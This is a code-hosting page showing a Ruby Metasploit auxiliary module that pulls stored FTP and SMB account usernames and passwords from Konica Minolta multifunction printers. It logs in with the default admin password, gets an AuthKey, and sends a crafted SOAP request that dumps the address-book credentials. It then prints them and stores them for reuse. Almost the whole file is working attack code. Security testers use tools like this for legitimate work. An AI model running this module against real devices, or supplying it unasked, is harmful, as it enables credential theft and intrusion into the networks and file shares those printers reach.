PageRenderTime 26ms CodeModel.GetById 13ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/auxiliary/gather/konica_minolta_pwd_extract.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 259 lines | 226 code | 18 blank | 15 comment | 5 complexity | a8628d68e5eca82dd72312d57bbacf32 MD5 | raw file
  1. #
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'rex/proto/http'
  6. require 'msf/core'
  7. class Metasploit3 < Msf::Auxiliary
  8. include Msf::Exploit::Remote::HttpClient
  9. include Msf::Auxiliary::Report
  10. include Msf::Auxiliary::Scanner
  11. def initialize(info = {})
  12. super(update_info(info,
  13. 'Name' => 'Konica Minolta Password Extractor',
  14. 'Description' => %q{
  15. This module will extract FTP and SMB account usernames and passwords
  16. from Konica Minolta multifunction printer (MFP) devices. Tested models include
  17. C224, C280, 283, C353, C360, 363, 420, C452, C452, C452, C454e, and C554.
  18. },
  19. 'Author' =>
  20. [
  21. 'Deral "Percentx" Heiland',
  22. 'Pete "Bokojan" Arzamendi'
  23. ],
  24. 'License' => MSF_LICENSE
  25. ))
  26. register_options(
  27. [
  28. Opt::RPORT('50001'),
  29. OptString.new('USER', [false, 'The default Admin user', 'Admin']),
  30. OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
  31. OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
  32. ], self.class)
  33. end
  34. # Creates the XML data to be sent that will extract AuthKey
  35. def generate_authkey_request_xlm(major, minor)
  36. user = datastore['USER']
  37. passwd = datastore['PASSWD']
  38. Nokogiri::XML::Builder.new do |xml|
  39. xml.send('SOAP-ENV:Envelope',
  40. 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
  41. 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
  42. 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
  43. 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
  44. xml.send('SOAP-ENV:Header'){
  45. xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
  46. xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
  47. xml.send('UserName', 'xmlns' => '') { xml.text '' }
  48. xml.send('Password', 'xmlns' => '') { xml.text '' }
  49. xml.send('Version', 'xmlns' => ''){
  50. xml.send('Major') { xml.text "#{major}" }
  51. xml.send('Minor') { xml.text "#{minor}" }
  52. }
  53. xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
  54. }
  55. }
  56. xml.send('SOAP-ENV:Body') {
  57. xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
  58. xml.send('OperatorInfo'){
  59. xml.send('UserType') { xml.text "#{user}" }
  60. xml.send('Password') { xml.text "#{passwd}" }
  61. }
  62. xml.send('TimeOut') { xml.text '60' }
  63. }
  64. }
  65. }
  66. end
  67. end
  68. # Create XML data that will be sent to extract SMB and FTP passwords from device
  69. def generate_pwd_request_xlm(major, minor, authkey)
  70. Nokogiri::XML::Builder.new do |xml|
  71. xml.send('SOAP-ENV:Envelope',
  72. 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
  73. 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
  74. 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
  75. 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
  76. xml.send('SOAP-ENV:Header'){
  77. xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
  78. xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
  79. xml.send('UserName', 'xmlns' => '') { xml.text '' }
  80. xml.send('Password', 'xmlns' => '') { xml.text '' }
  81. xml.send('Version', 'xmlns' => ''){
  82. xml.send('Major') { xml.text "#{major}" }
  83. xml.send('Minor') { xml.text "#{minor}" }
  84. }
  85. xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
  86. }
  87. }
  88. xml.send('SOAP-ENV:Body'){
  89. xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
  90. xml.send('OperatorInfo'){
  91. xml.send('AuthKey') { xml.text "#{authkey}" }
  92. }
  93. xml.send('AbbrListCondition'){
  94. xml.send('SearchKey') { xml.text 'None' }
  95. xml.send('WellUse') { xml.text 'false' }
  96. xml.send('ObtainCondition'){
  97. xml.send('Type') { xml.text 'OffsetList' }
  98. xml.send('OffsetRange'){
  99. xml.send('Start') { xml.text '1' }
  100. xml.send('Length') { xml.text '100' }
  101. }
  102. }
  103. xml.send('BackUp') { xml.text 'true' }
  104. xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
  105. }
  106. }
  107. }
  108. }
  109. end
  110. end
  111. # This next section will post the XML soap messages for information gathering.
  112. def run_host(ip)
  113. print_status("Attempting to extract username and password from the host at #{peer}")
  114. version
  115. end
  116. # Validate XML Major Minor version
  117. def version
  118. response = send_request_cgi(
  119. {
  120. 'uri' => '/',
  121. 'method' => 'POST',
  122. 'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
  123. }, datastore['TIMEOUT'].to_i)
  124. if response.nil?
  125. print_error("No reponse from device")
  126. return
  127. else
  128. xml0_body = ::Nokogiri::XML(response.body)
  129. major_parse = xml0_body.xpath('//Major').text
  130. minor_parse = xml0_body.xpath('//Minor').text
  131. major = ("#{major_parse}")
  132. minor = ("#{minor_parse}")
  133. login(major, minor)
  134. end
  135. rescue ::Rex::ConnectionError
  136. print_error("Version check Connection failed.")
  137. end
  138. # This section logs on and retrieves AuthKey token
  139. def login(major, minor)
  140. authreq_xml = generate_authkey_request_xlm(major, minor)
  141. # Send post request with crafted XML to login and retreive AuthKey
  142. begin
  143. response = send_request_cgi(
  144. {
  145. 'uri' => '/',
  146. 'method' => 'POST',
  147. 'data' => authreq_xml.to_xml
  148. }, datastore['TIMEOUT'].to_i)
  149. if response.nil?
  150. print_error("No reponse from device")
  151. return
  152. else
  153. xml1_body = ::Nokogiri::XML(response.body)
  154. authkey_parse = xml1_body.xpath('//AuthKey').text
  155. authkey = ("#{authkey_parse}")
  156. extract(major, minor, authkey)
  157. end
  158. rescue ::Rex::ConnectionError
  159. print_error("Login Connection failed.")
  160. end
  161. end
  162. # This section post xml soap message that will extract usernames and passwords
  163. def extract(major, minor, authkey)
  164. if (authkey != '')
  165. # create xml request to extract user credintial settings
  166. smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
  167. # Send post request with crafted XML as data
  168. begin
  169. response = send_request_cgi(
  170. {
  171. 'uri' => '/',
  172. 'method' => 'POST',
  173. 'data' => smbreq_xml.to_xml
  174. }, datastore['TIMEOUT'].to_i)
  175. if response.nil?
  176. print_error("No reponse from device")
  177. return
  178. else
  179. xml2_body = ::Nokogiri::XML(response.body)
  180. @smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
  181. @smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
  182. @smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
  183. @ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
  184. @ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
  185. @ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
  186. @ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
  187. end
  188. end
  189. i = 0
  190. # output SMB data
  191. @smb_user.each do
  192. shost = "#{@smb_host[i]}"
  193. sname = "#{@smb_user[i]}"
  194. sword = "#{@smb_pass[i]}"
  195. print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
  196. register_creds('smb', shost, '139', sname, sword)
  197. i += 1
  198. end
  199. i = 0
  200. # output FTP data
  201. @ftp_user.each do
  202. fhost = "#{@ftp_host[i]}"
  203. fname = "#{@ftp_user[i]}"
  204. fword = "#{@ftp_pass[i]}"
  205. fport = "#{@ftp_port[i]}"
  206. print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
  207. register_creds('ftp', fhost, fport, fname, fword)
  208. i += 1
  209. end
  210. else
  211. print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
  212. return
  213. end
  214. end
  215. def register_creds(service_name, remote_host, remote_port, username, password)
  216. credential_data = {
  217. origin_type: :service,
  218. module_fullname: self.fullname,
  219. workspace_id: myworkspace.id,
  220. private_data: password,
  221. private_type: :password,
  222. username: username
  223. }
  224. service_data = {
  225. address: remote_host,
  226. port: remote_port,
  227. service_name: service_name,
  228. protocol: 'tcp',
  229. workspace_id: myworkspace_id
  230. }
  231. credential_data.merge!(service_data)
  232. credential_core = create_credential(credential_data)
  233. login_data = {
  234. core: credential_core,
  235. status: Metasploit::Model::Login::Status::UNTRIED,
  236. workspace_id: myworkspace_id
  237. }
  238. login_data.merge!(service_data)
  239. create_credential_login(login_data)
  240. end
  241. end